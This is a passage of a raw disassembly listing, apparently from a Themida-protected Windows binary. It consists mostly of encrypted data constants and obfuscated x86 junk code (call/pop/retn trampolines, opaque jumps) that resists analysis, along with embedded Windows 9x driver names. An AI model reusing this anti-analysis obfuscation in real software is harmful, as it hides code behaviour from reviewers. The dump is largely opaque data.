0F9C54F4Ah, 0E7146081h, 0F3D5BC46h dd 0A6077245h, 41B4D5ABh, 9AEE2428h, 24CF85B6h, 34240198h dd 730AB57Fh, 0A5D65A51h, 67A7CEAFh, 2CE653BFh, 0A6A54D7Fh dd 0A940C7EBh, 315CE5D4h, 0EFECBD9h, 0ADDD0000h, 90B12EF2h dd 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh, 40C4B9C8h dd 2FF3AAA7h, 151994B0h, 105788Ah dd 0B9881594h, 3A55E7C8h, 65671799h, 3A950636h, 7080E52Ah dd 47865EDDh, 53F01AF4h, 0D9D4F00Fh, 0F30125A1h, 5B732A5Ch dd 7F8F0604h, 0C529ECE9h, 54D37408h, 3B437B32h, 45E23D54h dd 53F039F6h, 93E5090Dh, 0CCFE0D64h, 263E4DD1h, 201B1138h dd 0CDAD6768h, 85949B1Fh, 65BFh, 61807500h, 87ABE2E0h dd 0AD9C1974h, 2653F092h, 56D7D022h, 49DC6EC0h, 461E2D11h dd 0F01B5103h, 784063B5h, 0DEA11D17h, 6FDAF1ACh, 0E4BD73CEh dd 7F8CF055h, 0E4BD033Eh, 76BC8055h, 682325C2h, 719CE350h dd 0A6DDEB34h, 3189586Ch, 4FE330C6h, 0D1EA0E18h, 0C8010654h dd 78C8984Fh, 115DB52h, 60A7EB4h, 66673002h, 5374F337h dd 69B6215Ah, 53F092DAh, 8F3FF559h, 0F0920A2Eh, 8D080453h dd 9CE8F989h, 2B1ACE6Fh, 0C19849DFh, 3949CBC6h, 58CB2655h dd 0E7DB6CDFh, 6798E755h, 9E820636h, 0D1CCC794h, 8654874Dh dd 10861480h, 135h, 92B3CA25h, 9267D21Bh, 98FCAC70h, 0F109848Fh dd 80959F95h, 92A10E6Fh, 1153F092h, 8B4B092Dh, 0F092102Ah dd 0F57FD353h, 3C57A18Bh, 1A6E8050h, 9F188B58h, 53F092ACh dd 9274C760h, 8B8F53F0h, 43C15337h, 0F1FD8BD1h, 7A735AB4h dd 7BBDD0DAh, 2347C380h, 8609DDD1h, 69EB0F8Ah, 96546349h dd 889480h, 26h, 1A6E80ACh, 336E9AE1h, 188B7FE1h, 0C74D4041h dd 0F09274D6h, 0DB99FD53h, 6C67A18Bh, 604AA331h, 4E2Ah dd 6E804000h, 6E9AE11Ah, 69BF1B33h, 39D44AFFh, 2E10E220h dd 0AC9F188Bh, 2753F092h, 49D6D123h, 53F092F5h, 8B16DC34h dd 316C67A1h, 76BC4A1Ah, 9A8D7B9Fh, 0F606818Dh, 8B9E8092h dd 92AC9F18h, 808C53F0h, 1B36B105h, 0C6EA6E9Eh, 5478B24Ch dd 88948096h, 2600h, 6480AC00h, 2A8B5A18h, 53F09210h, 8B3FB599h dd 376667A1h, 6ED94ABDh, 0F09272C1h, 878DF153h, 202A9Dh dd 80400000h, 8B5A1864h, 58DAD3F4h, 927CCE6Fh, 5BBF53F0h dd 74275920h, 0A18BB4BEh, 0BD376667h, 0F48B604Ah, 0CB55DFD6h dd 0FFFFFEC2h, 1B618061h, 281347E0h, 60E449DFh, 0BBF2146Bh dd 8EFA0F77h, 0D801307Dh, 0BE8255E7h, 0D81E2F8Eh, 0B3A55E7h dd 0EB196696h, 1FC098B0h, 0F43732F8h, 0D45E5975h, 374DE037h dd 5B77FC55h, 725ACE20h, 0AB71191Bh, 0CB8BABD4h, 10h, 9286B9E1h dd 0A4A653F0h, 0FFF725E9h, 7D000000h, 0DFE06180h, 163A9EAEh dd 286566E5h, 365CD9EAh, 3F49DC97h, 2E59205Bh, 4706A173h dd 0BFCC504Bh, 5A68F9A9h, 6DA783E6h, 0E41792BEh, 9C243D6Ch dd 44CEE99Dh, 3D7D0B78h, 6ACB1E3Bh, 53B20A08h, 0D346F532h dd 1D9A55E4h, 55E4D32Eh, 69EDA1A5h, 89E93645h, 0ED4FCB69h dd 0A8AA0B97h, 141EAB45h, 0E05368ECh, 0F755DC90h, 858FFFD8h dd 3BFFBAD6h, 930E3940h, 0D3D7894h, 0B8D48B89h, 0B455CDFDh dd 7195103Bh, 0F34EEF5Ah, 705FDB54h, 6E23C7FEh, 0E90DD9D4h dd 1B1F982Bh, 2B45F42Ah, 51E04DB8h, 0D241B2DAh, 0DADC6F6Eh dd 0F35741B2h, 959F1634h, 8BD2E96Dh, 61FE0279h, 4FFA3B5Fh dd 0C441B2DAh, 4EDB5C40h, 225CE84Ah, 0B6EF8CAh, 1D2D0000h dd 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh, 0EEC249CDh dd 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah, 0C978A504h dd 4A55E7CCh, 65678709h, 2DC3BECDh, 0DBF10558h, 46769A92h dd 64940739h, 0DFEE05B2h, 0BECDFEADh, 0FC17108Dh, 70D8981h dd 8139E753h, 4E458595h, 53000000h, 0D8D5F48Bh, 324A414Fh dd 99685CD6h, 0C06DD8F3h, 53F09271h, 3B848EF2h, 0DC48ACFAh dd 6C9BE249h, 77BD1931h, 60FF0F73h, 441C2F5Eh, 9C190C4Dh dd 55E447ADh, 78CC2226h, 27D3217Bh, 0E71786B8h, 0E11A6E7Fh dd 0C8C62E44h, 0BF43C74Fh, 37666775h, 572D98F3h, 0E6387C1Bh dd 33E3F1Eh, 8053F0E5h, 2F0776BCh, 0EB53F0E5h, 0C772B3DFh dd 5C53F0E5h, 3050D4F8h, 1790ABD1h, 49DF5C46h, 0C786B599h dd 874DD1CCh, 0DFD6F48Bh, 0CEFC2BAFh, 0D123A7D7h, 1480E309h dd 1E2C3386h, 21F35767h, 18846h, 6F805200h, 0A0A90BEBh dd 2C891945h, 53F0D01Dh, 988EB296h, 9B1C3CB5h, 2AA8CC9Bh dd 0DDD8F48Bh, 77CB5457h, 0B253F092h, 0F917A7A5h, 0EA0E8A82h dd 0A18B0CC6h, 80503C57h, 2E581A6Eh, 215C6EFDh, 0FD67AD29h dd 0E3186480h, 92043770h, 133453F0h, 0D022269Ah, 5463496Eh dd 88948096h, 7B00h, 3A561500h, 49CB4F7Fh, 0E16E80C7h dd 7A3752E4h, 8BA03256h, 0EF28D3F4h, 0C6CA4AECh, 1AA56F93h dd 0F08AA19Dh, 0ABDD2A53h, 8A8B46E7h, 40853F0h, 486CE8E0h dd 65202C33h, 8AB9E655h, 953F08Ah, 2913E105h, 6C67A18Bh dd 46431A31h, 0E01895B4h, 0CC484064h, 0D94ADC46h, 0D8F38582h dd 529ADDDh, 998391F5h, 392Ah, 218EF900h, 53F09212h, 92FA49D6h dd 157953F0h, 0ED57DDA1h, 0E11A6E80h, 0AB5E7D93h, 0F0A73F0Ah dd 5ED0B453h, 62B09FE3h, 102A8BF8h, 0D353F092h, 0A18BF57Fh dd 0A3316C67h, 9654604Ah, 889480h, 33h, 9F188BACh, 53F092ACh dd 0DDD12327h, 3F4E7D09h, 7C8D9A11h, 8B09F301h, 0F092102Ah dd 3FB59953h, 4341188Bh, 6740CA48h, 4ABD3766h, 3E2A60h dd 80400000h, 8B5A1864h, 56DCD9F4h, 9276C855h, 0AFB553F0h dd 99064E42h, 53F0B6AAh, 82F32529h, 0BF3559C2h, 0AC9F188Bh dd 2753F092h, 0C2D6D123h, 0BBCC6667h, 0D14ECAC2h, 4BCFFFB2h dd 604AAD27h, 0FFFE632Ah, 6462F9FFh, 7FB51129h, 1B6180F5h dd 77FB90E0h, 43BA92CEh, 289BF6B1h, 0F017BC8Fh, 9DA83753h dd 486CE8E0h, 0AD9FCBCAh, 0EC5049DFh, 0F7E80DFh, 0E26E7B0Bh dd 5CFD4CE9h, 127655E7h, 4F1E89FAh, 0D7334B42h, 0E75CBB96h dd 0DE543855h, 0E75C6EDFh, 45384A55h, 631E2A35h, 79903F6Bh dd 42A9B4B1h, 0AC56EA30h, 5CD9348Bh, 55E754EDh, 5710E266h dd 21h, 0E0DE6CE4h, 0EE742EFDh, 0E78FF241h, 0E90D7155h dd 86B9212Bh, 0A653F092h, 0F725E9A4h, 0A5h, 1B61807Dh dd 768B47E0h, 187C49DCh, 0C7709CE3h, 0ADDC2C40h, 0CF53EF0h dd 6DFA3E22h, 0AE162661h, 9512295Fh, 4FCB1F71h, 0F675868Ah dd 205BDFDAh, 13D968B5h, 0F65A5FDBh, 28636F3Ch, 3359A810h dd 0B1DEAD18h, 8FBBC4F4h, 0B322F014h, 45F4ABB7h, 283744C8h dd 0E8A36716h, 0A4E1EE7Dh, 1A293094h, 9941B258h, 9EA07FB5h dd 0C7A528EFh, 6DDD5CE7h, 7E75Fh, 1B96B600h, 6778817h dd 2F6A6502h, 574E7CEBh, 783554D3h, 0B51D37B4h, 88171B96h dd 61FE027Bh, 79E62A65h, 0A5D05447h, 0F36AD946h, 0AAE955E7h dd 6BFD8B66h, 94E0C023h, 9AAC63B1h, 7091E8E3h, 0A8B7F73Dh dd 21D7E796h, 3A4C7B92h, 0D326F6B1h, 2C50E489h, 599E4CE8h dd 2F388595h, 4D000000h, 9C96133Eh, 0E061809Ah, 3793ABE2h dd 0D3BFF813h, 5449DC65h, 146BD8F0h, 677BDF8h, 55E485C7h dd 87D33A25h, 8BA8A359h, 6465h, 6180B300h, 84A8E5E0h, 0CA90477h dd 53F0923Dh, 5540D2B6h, 49DC49C5h, 0CAC5C11Eh, 0FD3A95A6h dd 55E4B94Eh, 0F3B341C5h, 0D4C7F980h, 0C6C720A4h, 0D123A7D7h dd 606E083Ah, 0D1F5B0DEh, 0B9CE7DBAh, 0C14555E4h, 0B1DFAEDDh dd 0EF7838FAh, 269EAEDDh, 1D9AB1C7h, 4FC85D51h, 0CF85B69Ah dd 0CD49B8FCh, 0DA9E94CBh, 0A5531E18h, 9A1B3044h, 49DC6B68h dd 5FEA4BA6h, 0D455E49Bh, 6FDA5B70h, 0E455E49Bh, 0F2569260h dd 7058281Bh, 0A0DDEAF5h, 0C9FA2CA8h, 29646501h, 168E0F05h dd 1F156A41h, 2481BACEh, 8F56DD2Eh, 94093847h, 0F7077E8Bh dd 0E75F6F93h, 0DC597206h, 8542E1B7h, 0D8A7D4B8h, 40C4F4A9h dd 586AF1B2h, 4446E125h, 984DC649h, 0E5559C77h, 687D7h dd 7B365600h, 661728B7h, 8F0A05A2h, 0B7EE1C8Bh, 0D8D5F473h dd 55FDD754h, 28B77B36h, 19E621Bh, 19868A05h, 570B4E7h dd 0F1CA79A6h, 0A4955E7h, 36656786h, 0B7D69506h, 0D451C2FAh dd 53F09265h, 0BC769AFEh, 65A9E4EFh, 83B8CC1Dh, 92A49710h dd 5B3F53F0h, 2541EED9h, 0DE49DF28h, 93A417Ah, 512E9E94h dd 0E2398936h, 0B6D0119Ah, 91E8D92h, 0E6566913h, 60FD4h dd 0C3BECE00h, 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh dd 0CD755FDCh, 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh dd 0F1B2812Eh, 823155E7h, 0D5F48B1Eh, 0B1DFA0D8h, 2246C2FAh dd 7F0DDCD0h, 2883E34Ch, 0D8BC49DFh, 0B0C033A0h, 2563E73h dd 4FFAC301h, 0C455E748h, 0F11590BBh, 24616C23h, 12B87EE3h dd 98AA0269h, 5A4h, 0D4585373h, 0BF433A4Bh, 0A4682520h dd 92960D3Bh, 77BBF615h, 5372C0F4h, 404DDA5Eh, 2A26C145h dd 0A3CAB6Fh, 9FE28F93h, 0E7F6231Eh, 0A913A055h, 0E01B6180h dd 0F9266C99h, 53F0924Ah, 292145C9h, 0E94467ADh, 2397492h dd 0F09296A5h, 0EB292D53h, 0DF2880EAh, 95A5A949h, 3DC2BFCAh dd 691348E2h, 3D889AF2h, 1C000005h, 0F26DB1ECh, 0CF58DCD1h dd 0DA45C9C4h, 0B22DF1ACh, 911A1E93h, 85F817BFh, 0ACE9E681h dd 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh, 55E7F6FCh, 8BD8DC77h dd 59DBD2F4h, 0FD0D8082h, 1E2D6062h, 0C94B424Fh, 5B2259FDh dd 0FF5B732Ah, 3F5635h, 5A5374FEh, 732E5D22h, 0FAB3D04Fh dd 0A9A6A5D6h, 0F57226ECh, 1A0D8D3h, 53F0923Dh, 84B4EF1Dh dd 0A4D4CFFBh, 959DF423h, 0D6F51CBBh, 9DD60BB4h, 7CD625E7h dd 9E53EE4Fh, 6CD053F0h, 44B7C448h, 0F09E68DBh, 0AD67EB53h dd 0B9D1CCFEh, 9C17334Ah, 0D4C7F996h, 0F4A9D8A7h, 6B240C4h dd 0E2196F7Eh, 0DC6F8945h, 0EE1E6249h, 0E48FF04Fh, 9CF31255h dd 47BF381h, 0B1F092D0h, 113AA369h, 0C05276C1h, 0A987F238h dd 2E8C8Bh, 0C3910000h, 0FFB5FC90h, 72F43ED7h, 0E01B6180h dd 0DC6CD747h, 14242849h, 0E49CAA95h, 668D4855h, 0A89AC614h dd 3849108Bh, 0D73CCF45h, 0F8000000h, 5366567h, 324A4746h dd 1F605CD6h, 0F28DBDF0h, 0D2ADDDD0h, 7039FDB0h, 53F09700h dd 0D6E598AAh, 0B037A97h, 52CD858Fh, 277C8F30h, 8896D949h dd 1DEC5464h, 76E15C6Fh, 0F0521A29h, 7FB59953h, 0DCB7BC7Eh dd 4DD1B549h, 295BD435h, 0DAFE5A72h, 2F8204A1h, 0ADBC4FCBh dd 0DB2FE5A0h, 0F7077E8Ch, 0D5C6F93h, 10F971FEh, 4100984Ah dd 3F4ED95Dh, 8EE18EB9h, 0D521BBB4h, 0EF305478h, 62FF909Eh dd 0B1D0E25Ah, 60000003h, 7EE92D60h, 53CC504Dh, 2EB97D38h dd 6A16520h, 5868A07h, 296463D3h, 504D7AE5h, 7C3753CCh dd 6E1D2FB8h, 337CCFAAh, 55E7F400h, 674C7083h, 4E063568h dd 0B6D40076h, 692529FFh, 98236FCh, 0D022119Eh, 0DDA153F0h dd 1786B857h, 6180C113h, 6A99E01Bh, 71830737h, 0CF68DB36h dd 53F0927Ch, 148193F7h, 49DC6C06h, 0FBB8095Fh, 2D72FA19h dd 8DB0F109h, 6F55E4D7h, 0A34989E0h, 338BA8D1h, 0C0h, 366567F9h dd 574A7906h, 978A8627h, 0B1C853F0h, 43181A95h, 1A95B141h dd 0C85566E2h, 53F09679h, 0AE7296FAh, 276E0F31h, 0B1D98EB9h dd 0BAC1FA1Eh, 9FFB138Eh, 50B12995h, 0F5411724h, 0D32E5E45h dd 25823DF7h, 49DC9369h, 0D0EC4C82h, 268F7F4Fh, 0FE8DFE02h dd 0E958C5CFh, 6A55E534h, 4ECAC2E6h, 6B11F0C4h, 51B2D750h dd 0C1454FCAh, 1994B3CAh, 0EBE76615h, 0F63C98B0h, 0B0772A59h dd 62FE4869h, 0A5EBB911h, 74000002h, 4AD55954h, 27C04439h dd 32AD712Ch, 0A959914h, 0F98286FBh, 2D606FD7h, 54517EE9h dd 403B57D0h, 6A2123BCh, 3770CBA6h, 55E7F504h, 67B0749Fh dd 76F13568h, 1FD55954h, 5366567h, 923E0DAAh, 0D1B553F0h dd 0B61A9D5Fh, 69AB2C7Ah, 8D00025Dh, 506FE67Eh, 0A51FFC46h dd 0B73A0996h, 0D5B953F0h, 1AEB9B5Fh, 3ED05D6Eh, 3749DC40h dd 43FA3B53h, 0A155E4A9h, 0DD034FA6h, 0F98BA8C3h, 56h dd 0CFD3FF8Eh, 0E4A1D36Eh, 0C8EC5055h, 6180C04Ah, 0EF47E01Bh dd 4749DC48h, 0B8F84BD4h, 0B4D055E4h, 738185F9h, 0BAFB1377h dd 55E4B883h, 9C8FE661h, 0DA69B621h, 5955E4B8h, 0B845F4F5h dd 7ADE55E4h, 0B70AD0B8h, 35948BA8h, 0B9000000h, 8C52E14Eh dd 6DD155E4h, 85B9BDA7h, 4953F092h, 6AE6413Bh, 0ADA65417h dd 0A1A47A2Ch, 8438FAA6h, 94A70065h, 2F53F00Eh, 0ABF4072Bh dd 49DCEA97h, 22F03418h, 0E01B6180h, 0E0326D99h, 90B066C7h dd 0DDA149DCh, 90310CADh, 34D355E4h, 483242DDh, 574E638Ch dd 0B57B070Dh, 0C18BA8E8h, 34h, 0C9121E56h, 6B0ADB1h, 7A9E7837h dd 44779BA2h, 0E4E768DBh, 0AD67EB55h, 9286B9ABh, 0A04153F0h dd 3C34A7D4h, 0D716FFA3h, 97060CF3h, 49DC5CABh, 1ED4583Ch dd 0E01B6180h, 423F6790h, 0AD43E79Ah, 0BC8CD0AFh, 8427ED6Fh dd 0DF39EF1Bh, 0AA0B6049h, 55E7C89Fh, 0FF0C3014h, 0EB2F5E60h dd 3B534A7Ch, 0E44122C3h, 55E7C855h, 35466AEEh, 0A8183DAh dd 71FC8D08h, 13774FC8h, 0D75F61F8h, 51B5C5B8h, 404F1E2Dh dd 5BD93D4Dh, 8FFE009Fh, 9C740C7Fh, 1971AFBFh, 0BDAD220h dd 39E14E7Dh, 3A45F20Ch, 987E31A4h, 4BD494B3h, 0D1354540h dd 0E42D6AADh, 55C55CE7h, 0BF47h, 336E9E00h, 5E4F70EFh dd 47424DDAh, 6F2624C3h, 900D3CABh, 9D250F8Ch, 70EF336Eh dd 49D65A53h, 21BE423Dh, 0CDA86C1Fh, 0FA02317Eh, 728155E7h dd 0D6F48B4Eh, 806155DFh, 1554C7F4h, 677BDF8h, 49DF2B85h dd 1895B2C9h, 5AAE64E0h, 8A86C5F6h, 6460FF0Fh, 0A9F60529h dd 55E7DB9Ah, 0CFFF3519h, 1B1F8EB0h, 0B037A8Ch, 0ED02E8AAh dd 0CF2691F4h, 0EC1F8EB0h, 0BECC729Dh, 0A151A3C7h, 72890406h dd 6CA6DDEBh, 8A010F50h, 0CF261572h, 0AF088EB0h, 36E1E09Ch dd 0A2168FBCh, 51692425h, 69ADD1F5h, 8EC6CCFEh, 261A288Bh dd 0EB6667B5h, 6836E11Dh, 5BC8C0E4h, 878D0804h, 385h, 0A68C1300h dd 4346767h, 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E289521Fh dd 4BF57h, 0FA010000h, 4EA835Fh, 5C241487h, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 50243489h, 405E089h, 2D000000h dd 4, 5C240487h, 50241489h, 3C5C1CB8h, 25D8F743h, 463A2229h dd 0DA39340Dh, 35D8F71Bh, 0F8F0A162h, 0C158C689h, 0CE8103E6h dd 73D349A7h, 0DCE8C681h, 8B540E1Bh, 0C4832414h, 8BB5304h dd 1000000h, 8B3389D3h, 0C481241Ch, 4, 5A2434FFh, 4C481h dd 348B0000h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 0FD165FE9h db 0FFh, 93h, 34h ; --------------------------------------------------------------------------- loc_5B461F: ; CODE XREF: Themida_:loc_5B25A4j mov eax, 61769DDh add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov al, ds:0DB3CCE5Ch retn 27C6h ; --------------------------------------------------------------------------- scasb inc esp sahf inc ecx inc eax retn ; --------------------------------------------------------------------------- dw 65B5h dd 7A4831C8h, 11C660F1h, 7CA71B77h, 1408112Fh, 14E8h, 0ECDBEE00h dd 3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h, 0EFD38147h dd 5F067BC7h, 8E9h, 8BD68500h, 1255F9F5h, 19C781BEh, 80000064h dd 0D4B900E7h, 815BD4B1h, 0D4A909F1h, 0E081665Bh, 37FF0A1Fh dd 5A71C380h, 0DA34EEBBh, 79F2810Fh, 0F300A92h, 87h, 0B7C28100h dd 664F4DB3h, 0F281C78Bh, 4E58718Fh, 0EF811789h, 4248FEECh dd 81C3BF0Fh, 48FEE8C7h, 5FBE6642h, 1E98120h, 0F000000h dd 0B85h, 1CE900h, 2120000h, 83067DCCh, 0E9F2BF0Fh, 0FFFFFFA6h dd 903A1CEDh, 0F3A00965h, 929A9D24h, 34EB576Ch, 4D534649h dd 20205247h, 20444B56h, 20202020h, 204D4D56h, 20202020h dd 4E495756h, 20203233h, 4C445856h, 20205244h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B4E6D ; --------------------------------------------------------------------------- jnp loc_5B4742 pusha add ebx, 4E58E434h mov dx, ax popa loc_5B4742: ; CODE XREF: Themida_:005B4731j pusha push 0 push ecx call sub_5B474E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B474E proc near ; CODE XREF: Themida_:005B4746p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B474E endp ; --------------------------------------------------------------------------- xor ebp, [edi+13B745Ah] and ebp, ecx or eax, 0F2000000h lodsd das pop es cmp [ebp+331EB4D7h], ecx lahf mov al, 2Fh mov dword ptr [ebp+6176B84h], 0 pusha jmp loc_5B479A ; --------------------------------------------------------------------------- db 0FEh dd 0ED79CC5Eh, 0CFAFCE3Ch, 0E09A5B2Bh, 9C2A8202h db 58h, 0C0h ; --------------------------------------------------------------------------- loc_5B479A: ; CODE XREF: Themida_:005B4782j pusha push esi pop eax call near ptr loc_5B47A6+4 pop ecx movsd adc ebx, eax loc_5B47A6: ; CODE XREF: Themida_:005B479Dp adc [ebp+6158F885h], al popa mov eax, esi push 0 push eax call sub_5B47BA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B47BA proc near ; CODE XREF: Themida_:005B47B2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B47BA endp ; --------------------------------------------------------------------------- dw 406Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- icebp jbe loc_5B47DB jo loc_5B47DB stc loc_5B47DB: ; CODE XREF: Themida_:005B47CEj ; Themida_:005B47D4j movzx ebx, ax pusha mov ax, di mov ecx, esi popa pusha call near ptr loc_5B47F4+4 test eax, 9EC49033h sar dword ptr [ecx+78h], 1 inc ebx loc_5B47F4: ; CODE XREF: Themida_:005B47E6p cmp [edx-2074D4C8h], al pop edi mov ebx, ecx popa shr eax, 10h pusha js $+6 movzx edi, di popa ror ax, 8 jmp loc_5B481B ; --------------------------------------------------------------------------- ja short loc_5B4856 dec ebx movsb and al, 3Ch loc_5B481B: ; CODE XREF: Themida_:005B4810j mov [ebp+6176B88h], eax push 0 push ebx call sub_5B482C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B482C proc near ; CODE XREF: Themida_:005B4824p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5B482C endp ; --------------------------------------------------------------------------- sbb al, 3Fh inc esi inc esp dec edx clc ror bx, 8 jmp loc_5B485B ; --------------------------------------------------------------------------- db 0EBh dd 0B42ED4E2h, 0F26A3BC7h ; --------------------------------------------------------------------------- mov bh, 5Eh loc_5B4856: ; CODE XREF: Themida_:005B4815j dec ebx xchg eax, ebp movsb ; --------------------------------------------------------------------------- db 0FEh, 54h ; --------------------------------------------------------------------------- loc_5B485B: ; CODE XREF: Themida_:005B4846j cmp ebx, 40h jnz loc_5B48D6 clc lea edi, [ebp+6176B5Ch] push 0 push ebp call sub_5B4876 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4876 proc near ; CODE XREF: Themida_:005B486Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5B4876 endp ; --------------------------------------------------------------------------- dw 0A8FBh dd 43F57536h, 0F1B70F60h, 0AE9h, 406FC100h, 0B78F1C3h dd 61B60636h, 193E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E901C09Bh, 0Eh, 3FD32499h dd 0ECE105B7h, 110B099Eh db 9, 94h ; --------------------------------------------------------------------------- loc_5B48D6: ; CODE XREF: Themida_:005B485Ej cmp ebx, 0Dh jnz loc_5B4935 push 0 push ebx call sub_5B48EA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B48EA proc near ; CODE XREF: Themida_:005B48E2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5B48EA endp ; --------------------------------------------------------------------------- push ecx xchg eax, ebp mov ds:0BD8D4727h, al imul edx, fs:[edi], 6 jb loc_5B490C cld loc_5B490C: ; CODE XREF: Themida_:005B4905j jmp loc_5B4A38 ; --------------------------------------------------------------------------- push 0 push esi call sub_5B491C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B491C proc near ; CODE XREF: Themida_:005B4914p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B491C endp ; --------------------------------------------------------------------------- dd 7CFEFC23h, 3613D3D8h ; --------------------------------------------------------------------------- stc loc_5B4935: ; CODE XREF: Themida_:005B48D9j cmp ebx, 1 jnz loc_5B49A2 push 0 push edi call sub_5B4949 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4949 proc near ; CODE XREF: Themida_:005B4941p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B4949 endp ; --------------------------------------------------------------------------- db 0E3h, 68h, 77h db 0CCh db 20h, 60h, 66h ; --------------------------------------------------------------------------- sbb edx, 61F5197Dh lea edi, [ebp+6176B6Ch] push 0 push ebp call sub_5B4977 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4977 proc near ; CODE XREF: Themida_:005B496Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B4977 endp ; --------------------------------------------------------------------------- xor edi, ebp popa db 64h mov bl, 33h add ah, [ebx+56h] pusha mov cx, 17DEh popa jmp loc_5B4A38 ; --------------------------------------------------------------------------- jz loc_5B49A2 stc loc_5B49A2: ; CODE XREF: Themida_:005B4938j ; Themida_:005B499Bj cmp ebx, 2Ah jnz loc_5B49F7 jmp loc_5B49B9 ; --------------------------------------------------------------------------- dd 0A82F884Fh, 8753EB7Ah db 8Bh ; --------------------------------------------------------------------------- loc_5B49B9: ; CODE XREF: Themida_:005B49ABj jb loc_5B49D1 jmp loc_5B49D1 ; --------------------------------------------------------------------------- dd 78C43AF8h, 52E0CAE4h, 0AB9F54E3h ; --------------------------------------------------------------------------- cdq loc_5B49D1: ; CODE XREF: Themida_:loc_5B49B9j ; Themida_:005B49BFj lea edi, [ebp+6176B74h] cld jmp loc_5B4A38 ; --------------------------------------------------------------------------- jnz loc_5B49F7 jmp loc_5B49F7 ; --------------------------------------------------------------------------- dd 746DD8C6h, 0EE546464h, 0C8EA1002h ; --------------------------------------------------------------------------- sbb edi, [eax-7Bh] loc_5B49F7: ; CODE XREF: Themida_:005B49A5j ; Themida_:005B49DDj ... cmp ebx, 27h jnz loc_5B4D39 jle loc_5B4A07 clc loc_5B4A07: ; CODE XREF: Themida_:005B4A00j lea edi, [ebp+6176B7Ch] push 0 push edx call sub_5B4A18 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4A18 proc near ; CODE XREF: Themida_:005B4A10p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B4A18 endp ; --------------------------------------------------------------------------- dd 0E9D249ECh, 8, 6309A631h, 0AB9EBE27h ; --------------------------------------------------------------------------- loc_5B4A38: ; CODE XREF: Themida_:loc_5B490Cj ; Themida_:005B4996j ... mov [ebp+6176B8Ch], edi push 0 push eax call sub_5B4A49 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4A49 proc near ; CODE XREF: Themida_:005B4A41p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5B4A49 endp ; --------------------------------------------------------------------------- db 1Bh, 26h, 1Dh ; --------------------------------------------------------------------------- pusha mov ch, 4Ah mov ebx, eax popa pusha push ebx jl $+6 pop eax sbb ebx, 403483C2h popa mov ax, cs jl loc_5B4A81 pusha stc movzx ecx, si popa loc_5B4A81: ; CODE XREF: Themida_:005B4A75j and al, 3 jmp loc_5B4A8F ; --------------------------------------------------------------------------- dd 335C4CA5h db 0F5h, 11h, 0B3h ; --------------------------------------------------------------------------- loc_5B4A8F: ; CODE XREF: Themida_:005B4A83j or al, al jnz loc_5B4C64 jp loc_5B4AA4 ja loc_5B4AA4 stc loc_5B4AA4: ; CODE XREF: Themida_:005B4A97j ; Themida_:005B4A9Dj lea esi, [ebp+617721Eh] jmp loc_5B4AB9 ; --------------------------------------------------------------------------- db 92h dd 0A1D45BCDh, 0A3A059C4h ; --------------------------------------------------------------------------- inc ebp loc_5B4AB9: ; CODE XREF: Themida_:005B4AAAj mov eax, [ebp+6177256h] push 0 push ebp call sub_5B4ACA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4ACA proc near ; CODE XREF: Themida_:005B4AC2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B4ACA endp ; --------------------------------------------------------------------------- dw 6096h dd 8B0FF560h, 0 dd 11B96061h, 6107F446h, 52505061h, 820F5250h, 0 dd 0EE9310Fh, 66000000h, 9DF7E8FAh, 43E2C83Bh, 2FB799EAh dd 0F585A01h, 0E9525031h, 0Bh, 0C0C63281h, 0C318942h, 0F4675E1h dd 0F525031h, 5A585A31h, 89585A58h, 8B602414h, 28A0FD3h dd 53000000h, 10F6159h, 60FE244Ch, 68D0Fh, 840F0000h, 0 dd 